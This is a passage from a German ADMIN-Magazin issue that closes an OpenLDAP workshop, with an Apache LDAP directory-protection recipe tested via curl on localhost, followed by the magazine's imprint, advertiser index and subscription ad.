sind dabei ähnlich dem der »openldap‐clients«,<br />
die bereits vorgestellt<br />
wurden:<br />
$ ldapvi ‐D cn=Manager,dc=acme‐U<br />
services,dc=org ‐b dc=acme‐servicesU<br />
,dc=org ‐h ldapi://<br />
Der Befehl führt eine Abfrage auf dem<br />
Verzeichnisbaum durch und stellt das<br />
Ergebnis im Editor dar (Abbildung 3). So<br />
lassen sich auch remote auf einer SSH-<br />
Console Einträge elegant und schnell<br />
bearbeiten.<br />
Apache Directory Studio<br />
Das Apache Directory Studio [2] ist ein<br />
grafischer Client, der auf dem Eclipse-<br />
Framework aufbaut (Abbildung 4).<br />
Alleine der Eclipse-Plattform ist es<br />
geschuldet, dass der Client-Rechner<br />
durchaus ein paar Megabyte Speicher<br />
mehr vertragen kann. Die Stabilität ist<br />
durchaus als wechselhaft zu bezeichnen,<br />
dennoch hat sich das Directory<br />
Studio einen festen Platz erobert. Für<br />
Administratoren, die eigene Schemata<br />
entwickeln wollen, führt kein Weg<br />
an diesem Werkzeug vorbei. Der wesentliche<br />
Vorteil neben der grafischen<br />
Darstellung ist die Unterstützung aller<br />
erdenklichen Lebenssituationen im Leben<br />
eines LDAP-Administrators.<br />
Kochrezept<br />
Verzeichnisschutz<br />
Das folgende Kochrezept demonstriert,<br />
wie man einzelne Verzeichnisse<br />
auf dem Webserver mit Usernamen<br />
und Passwörtern schützt, die im LDAP<br />
gespeichert sind. Statt die Benutzer<br />
umständlich in einzelnen Htpasswd-<br />
Dateien zu pflegen, lassen sich die<br />
Accounts zentral im LDAP-Server verwalten.<br />
Alle Zutaten für dieses Rezept<br />
liegen schon auf dem Tisch und sind<br />
reif für den Einsatz. Benötigt werden<br />
für das Rezept: ein Benutzer-Account<br />
für den Httpd-Server, eine Gruppe mit<br />
einem Gruppenmitglied und ein Benutzer,<br />
der Mitglied der Gruppe ist.<br />
Geschützt werden soll in diesem Beispiel<br />
das Verzeichnis »/repositories«<br />
unmittelbar im Wurzelverzeichnis des<br />
Webservers. Der Ort ist damit – ohne<br />
weitere Veränderungen am SELinux-<br />
Kontext vornehmen zu müssen – »/var/<br />
www/html/repositories«.<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
freeX<br />
OpenLDAP<br />
113<br />
Mit der Apache-Version 2.2 wurde die<br />
Art und Weise, wie LDAP verwendet<br />
wird, grundlegend geändert. Die Installation<br />
von zusätzlichen Modulen ist<br />
nicht mehr erforderlich, der Webserver<br />
bringt in der Grundinstallation bereits<br />
alles mit, was für den Einsatz von LDAP<br />
nötig ist. Grundlage des Kochrezeptes<br />
ist der »httpd«-Benutzer im LDAP-Server,<br />
der schon oben angelegt wurde.<br />
LDAP-Module inbegriffen<br />
Die Authentifizierung und Autorisierung<br />
am Webserver wird von zwei Modulen<br />
übernommen: Das Modul »ldap_module«<br />
stellt die LDAP-Datenstrukturen<br />
im Webserver zur Verfügung, das Modul<br />
»authnz_ldap_module« übernimmt die<br />
Authentifizierung. In der Standardkonfiguration<br />
des Webservers sind beide<br />
Module bereits installiert und aktiviert.<br />
Nach dem Anlegen des Verzeichnisses<br />
müssen Sie die Location »/repositories«<br />
auf dem Server konfigurieren und den<br />
Verzeichnisschutz aktivieren. Eine Beispieldatei<br />
in diesem Verzeichnis dient<br />
dem Test:<br />
$ sudo mkdir /var/www/html/repositories<br />
$ echo "Hello world" > index.html<br />
$ sudo cp index.html /var/www/html/U<br />
repositories/<br />
$ sudo chown ‐R apache /var/www/html/U<br />
repositories<br />
Die vollständige Konfiguration ist in<br />
Listing 5 zu sehen. Diese Datei legen<br />
Sie im Verzeichnis »/etc/httpd/conf.d/<br />
repositories.conf« ab und starten den<br />
Webserver neu. Den Test übernimmt<br />
das Curl-Kommando:<br />
$ curl ‐sL ‐w "%{http_code} %{url_U<br />
effective}\n" http://localhost/U<br />
repositories/index.html ‐o /dev/null<br />
401 http://localhost/repositories/U<br />
index.html<br />
Die Ausgabe zeigt korrekterweise einen<br />
401-Fehler an: Das Verzeichnis ist<br />
jetzt geschützt. Klappt jedoch auch die<br />
Anmeldung mit einem Benutzer und<br />
dem zugehörigen Passwort? Durch eine<br />
kleine Modifikation des Curl-Kommandos<br />
lässt sich dies leicht überprüfen:<br />
Abbildung 4: Grafische Oberfläche für LDAP: das Apache Directory Studio.<br />
$ curl ‐sL ‐w "%{http_code} %{url_U<br />
effective}\n" ‐u uhabel:geheim http:U<br />
//localhost/repositories/index.html U<br />
‐o /dev/null<br />
200 http://localhost/repositories/indexU<br />
.html<br />
Voila, das Verzeichnis ist geschützt und<br />
alles funktioniert wie erwartet.<br />
Es gibt ein paar kleine Besonderheiten<br />
bei der Webserver-Konfigurationsdatei,<br />
auf die es sich lohnt näher einzugehen.<br />
Der Einfachheit halber wurde in diesem<br />
Beispiel »ldap« verwendet, da der Zugriff<br />
ausschließlich auf den Localhost<br />
und damit über das Loopback-Interface<br />
stattfand. Für einen produktiven Einsatz<br />
von Webservern, die über das Netz<br />
auf den OpenLDAP-Server zugreifen,<br />
sollte hier SSL (»ldaps«) eingesetzt<br />
werden. Der Verzeichnisschutz wird<br />
in diesem Beispiel über die Gruppe<br />
»vcsldap« und die Gruppenmitglieder<br />
realisiert. So lassen sich leicht verschiedene<br />
Gruppen etablieren, um unterschiedliche<br />
Bereiche des Webservers zu<br />
schützen.<br />
Ausblick<br />
In dem Workshop wurde ein kleiner<br />
Einblick in die Welt des OpenLDAP-<br />
Servers mit aktuellem Konfigurationsmodell<br />
»cn=config« gegeben und ein<br />
funktionstauglicher OpenLDAP-Server<br />
installiert. Was jetzt noch fehlt, sind<br />
weitere Benutzer und weitere Anwendungsfälle,<br />
die aber künftigen Artikeln<br />
vorbehalten sind.<br />
Die Dokumentation des OpenLDAP-Servers<br />
[3] verbessert sich kontinuierlich,<br />
dennoch ist auch in der offziellen Dokumentation<br />
noch oft die Beschreibung<br />
des alten Konfigurationsmodells mit<br />
der Konfigurationsdatei »/etc/slapd.<br />
conf« zu finden. Hier helfen dann nur<br />
Blicke in die Mailinglisten weiter, die<br />
einem hoffentlich die eine oder andere<br />
Erleuchtung bringen. (ofr) n<br />
n Info<br />
Weiterführende Links und<br />
Informationen zu diesem<br />
Artikel finden Sie unter:<br />
www.admin-magazin.de/qr/30058<br />
[1] ldapvi: [http:// www. lichteblau. com/ ldapvi/]<br />
[2] Apache Directory Studio:<br />
[http:// directory. apache. org/ studio/]<br />
[3] OpenLDAP-Projekt:<br />
[http:// www. openldap. org]<br />
n Autor<br />
Ulrich Habel ist Perl-Evangelist und Anhänger der<br />
Test-Driven-Development-Methodik. Er engagiert<br />
sich für den Einsatz von Open-Source-Technologien<br />
in Firmen und ist Mitglied im NetBSD-Projekt.<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 02-2014
114<br />
Service<br />
Impressum und Vorschau<br />
n Impressum ISSN 2190-1066<br />
ADMIN-Magazin eine Publikation der <strong>Medialinx</strong> AG<br />
Redaktionsanschrift Putzbrunner Straße 71<br />
81739 München<br />
Tel.: 0 89 / 99 34 11-0<br />
Fax: 0 89 / 99 34 11-99 oder -96<br />
Internet<br />
www.admin-magazin.de<br />
E-Mail<br />
redaktion@admin-magazin.de<br />
Geschäftsleitung Brian Osborn (Vorstand), bosborn@medialinx-gruppe.de<br />
Hermann Plank (Vorstand), hplank@medialinx-gruppe.de<br />
Chefredakteure<br />
Oliver Frommel (V. i. S. d. P.),<br />
ofrommel@admin-magazin.de (ofr)<br />
Jens-Christoph Brendel<br />
jbrendel@admin-magazin.de (jcb)<br />
Redaktion<br />
News/Report<br />
Ulrich Bantle (Ltg.), ubantle@medialinx-gruppe.de (uba)<br />
Mathias Huber, mhuber@medialinx-gruppe.de (mhu)<br />
Software/Programmieren Carsten Schnober, cschnober@medialinx-gruppe.de (csc)<br />
Kristian Kißling, kkissling@medialinx-gruppe.de (kki)<br />
Security/Networking Markus Feilner, mfeilner@medialinx-gruppe.de (mfe)<br />
Thomas Leichtenstern, tleichtenstern@medialinx-gruppe.de (tle)<br />
Ständige Mitarbeiter David Göhler (Schlussredaktion), Tim Schürmann, Claudia Thalgott<br />
Produktionsleitung<br />
Grafik<br />
Abo-Infoseite<br />
Abonnenten-Service<br />
Christian Ullrich, cullrich@medialinx-gruppe.de<br />
Judith Erb (Design und Layout)<br />
Titel: Judith Erb, Ausgangsgrafik: Andrei Tarchyshnik, 123RF<br />
www.admin-magazin.de/abo<br />
Gudrun Blanz (Teamleitung)<br />
abo@admin-magazin.de<br />
Tel.: 07131/27 07 274, Fax: 07131/27 07 78 601<br />
Preise Print Deutschland Österreich Schweiz Ausland EU<br />
Einzelheft € 9,80 € 10,80 Sfr 19,60 (siehe Titel)<br />
Mini-Abo (3 Ausgaben) € 9,80 € 10,80 Sfr 19,60 (siehe Titel)<br />
Jahres-DVD (Einzelpreis) € 14,95 € 14,95 Sfr 18,90 € 14,95<br />
Jahres-DVD (zum Abo 1 ) € 6,70 € 6,70 Sfr 8,50 € 6,70<br />
Jahresabo € 99,90 € 109,90 Sfr 159,90 € 129,90<br />
Preise Digital Deutschland Österreich Schweiz Ausland EU<br />
Heft-PDF Einzelausgabe € 9,80 € 9,80 Sfr 10,71 € 9,80<br />
DigiSub (12 Ausgaben) € 89,90 € 89,90 Sfr 129,50 € 89,90<br />
DigiSub (zum Printabo) € 12,— € 12,— Sfr 12,— € 12,—<br />
HTML-Archiv (zum Abo 1 ) € 48,— € 48,— Sfr 48,— € 48,—<br />
Preise Kombiabos<br />
Profi-Abo 2 € 181,90 € 198,90 Sfr 235,90 € 219,90<br />
1<br />
nur erhältlich in Verbindung mit einem Jahresabo Print oder Digital<br />
2<br />
mit Linux-Magazin-Abo und beiden Jahres-DVDs<br />
Schüler- und Studenten-Ermäßigung: 20 Prozent gegen Vorlage eines Schülerausweises oder einer<br />
aktuellen Immatrikulationsbescheinigung. Der aktuelle Nachweis ist bei Verlängerung neu zu erbringen.<br />
Andere Abo-Formen, Ermäßigungen im Ausland etc. auf Anfrage.<br />
Adressänderungen bitte umgehend mitteilen, da Nachsendeaufträge bei der Post nicht für<br />
Zeitschriften gelten.<br />
Pressemitteilungen info@admin-magazin.de<br />
Anzeigen/Repräsentanz Es gilt die Anzeigenpreisliste vom 01.01.2013<br />
National<br />
Pressevertrieb<br />
Druck<br />
Petra Jaser<br />
Tel.: 089 / 99 34 11 24, Fax: 089 / 99 34 11 99<br />
E-Mail: pjaser@medialinx-gruppe.de<br />
Michael Seiter<br />
Tel.: 089 / 99 34 11 23, Fax: 089 / 99 34 11 99<br />
E-Mail: mseiter@medialinx-gruppe.de<br />
MZV, Moderner Zeitschriften Vertrieb GmbH<br />
Breslauer Straße 5, 85386 Eching<br />
Tel.: 089 / 31906-0, Fax: 089 / 31906-113<br />
Vogel Druck und Medienservice GmbH<br />
97204 Höchberg<br />
Der Begriff Unix wird in dieser Schreibweise als generelle Bezeichnung für die Unix-ähnlichen Betriebssysteme<br />
verschiedener Hersteller, zum Beispiel Eurix (Comfood), Ultrix (Digital Equipment), HP/UX (Hewlett-<br />
Packard) oder Sinix (Siemens) benutzt, nicht als die Bezeichnung für das Trademark von X/Open. Linux ist ein<br />
eingetragenes Marken zeichen von Linus Torvalds und wird in unserem Markennamen mit seiner Erlaubnis<br />
verwendet. Alle anderen Marken sind Eigentum der jeweiligen Inhaber. Eine Haftung für die Richtigkeit von<br />
Veröffentlichungen kann trotz sorgfältiger Prüfung durch die Redaktion vom Verlag nicht übernommen<br />
werden. Mit der Einsendung von Manu s kripten gibt der Verfasser seine Zustimmung zum Abdruck im ADMIN-<br />
Magazin. Für unverlangt ein gesandte Manuskripte kann keine Haftung übernommen werden. Die Redaktion<br />
behält sich vor, Artikel zu kürzen. Das Exklusiv- und Verfügungsrecht für angenommene Manuskripte liegt beim<br />
Verlag. Es darf kein Teil des Inhalts ohne ausdrückliche schriftliche Genehmigung des Verlags in irgendeiner<br />
Form vervielfältigt oder verbreitet werden. Copyright © 1994–2013 <strong>Medialinx</strong> AG<br />
Stefan Habersack, Fotolia<br />
n Autoren dieser Ausgabe<br />
Bastian Ballmann Lauschangriff 46<br />
Christian Funk Sicherheitsvorkehrungen 24<br />
Ulrich Habel Zentralregister 106<br />
Jacob Holcomb Schwachstellen 40<br />
Thomas Joos Remote-Office 74<br />
Thomas Joos Zusammen stark 52<br />
Martin Loschwitz Ablagesystem 58<br />
Martin Loschwitz Containerterminal 90<br />
Filipe Pereira Martins Rechenkünstler 64<br />
Jan Rähm Drahtlos in Grenzen 32<br />
Thorsten Scherf Ticket-Dienst 16<br />
n Inserentenverzeichnis<br />
n Vorschau: ADMIN 02/2014 erscheint am 9. Januar 2014<br />
Disaster Recovery<br />
Früher oder später passiert es:<br />
Entscheidende Hardware fällt<br />
aus. Der kluge Admin hat natürlich<br />
vorgesorgt. Wir zeigen wie<br />
er seine Linux- und Windows-<br />
Systeme sowie Datenbanken<br />
rechtzeitig in Sicherheit bringt<br />
und im Ernstfall schnell wieder<br />
zum laufenden System kommt.<br />
ADMIN http://www.admin-magazin.de 67, 107, 115<br />
ConSol Software GmbH http://www.consol.de 15<br />
Dell GmbH http://dell.de/VRTX 27<br />
Deutsche Messe AG http://www.cebit.de 17, 95<br />
DFN-Cert Services GmbH http://www.dfn-cert.de 63<br />
Fernschule Weber GmbH http://www.fernschule-weber.de 43<br />
Galileo Press http://www.galileo-press.de 25<br />
GIMP-Magazin http://www.gimp-magazin.de 21<br />
Kettner Mathias - Linux Experte http://www.mathias-kettner.de 41<br />
Linux-Hotel http://www.linuxhotel.de 33<br />
Linux-Magazin http://www.linux-magazin.de 61, 104<br />
<strong>Medialinx</strong> AG http://www.medialinx-gruppe.de 9, 11<br />
<strong>Medialinx</strong> IT-Academy http://www.medialinx-academy.de 55<br />
Microsoft GmbH http://www.microsoft.com/germany 2, 31<br />
pascom - Netzwerktechnik GmbH & Co.KG http://www.pascom.net 13<br />
PlusServer AG http://www.plusserver.de 7, 19, 45, 51, 73, 81<br />
ppedv http://www.visualstudio1.de 69<br />
Raspberry Pi Geek http://www.raspberry-pi-geek.de 79<br />
Thomas Krenn AG http://www.thomas-krenn.com 116<br />
Windows Phone User http://www.windows-phone-user.de 89<br />
Einem Teil dieser Ausgabe liegt eine Beilage der Firma HACKATTACK IT SECURITY GmbH (http://www.hackattack.com)<br />
bei. Wir bitten unsere Leser um freundliche Beachtung.<br />
Last verteilen mit HA-<br />
Proxy<br />
HA-Proxy kommt bei den ganz<br />
Großen zum Einsatz: Unter<br />
anderem Twitter, Tumblr und<br />
Reddit nutzen das Programm,<br />
um die Benutzermassen auf<br />
ihre Server zu verteilen. Der<br />
Veteran entwickelt sich stetig<br />
weiter; wir zeigen wohin.<br />
Alexander Bedrin, 123RF<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Admin-mAGAZin<br />
im JAhres-Abo<br />
Praktisch anwendbares Wissen und ausführliche<br />
Hintergrundberichte für alle IT-Administratoren<br />
von Linux, Unix und Windows.<br />
NEU!<br />
Ab sofort<br />
monatlich<br />
ihre vorteile<br />
• 12 Ausgaben im Jahr Frei Haus<br />
• Erhalten Sie ihre Ausgabe<br />
schon vor dem offiziellen<br />
Verkaufstermin<br />
• Hintergrund-Wissen für alle<br />
Admins und IT-Entscheider<br />
• inklusive ADMIN-Specials<br />
(unter anderem zu IPv6 und SSD)<br />
JETZT ZUgrEifEN<br />
UNd übEr 15% SpArEN!<br />
Jetzt abonnieren:<br />
www.admin-magazin.de/abo<br />
(Printabo 99,90 Euro, digitales Abo nur 89,90 Euro)<br />
• Telefon 07131 / 2707 274 • Fax 07131 / 2707 78 601 • E-Mail: abo@admin-magazin.de •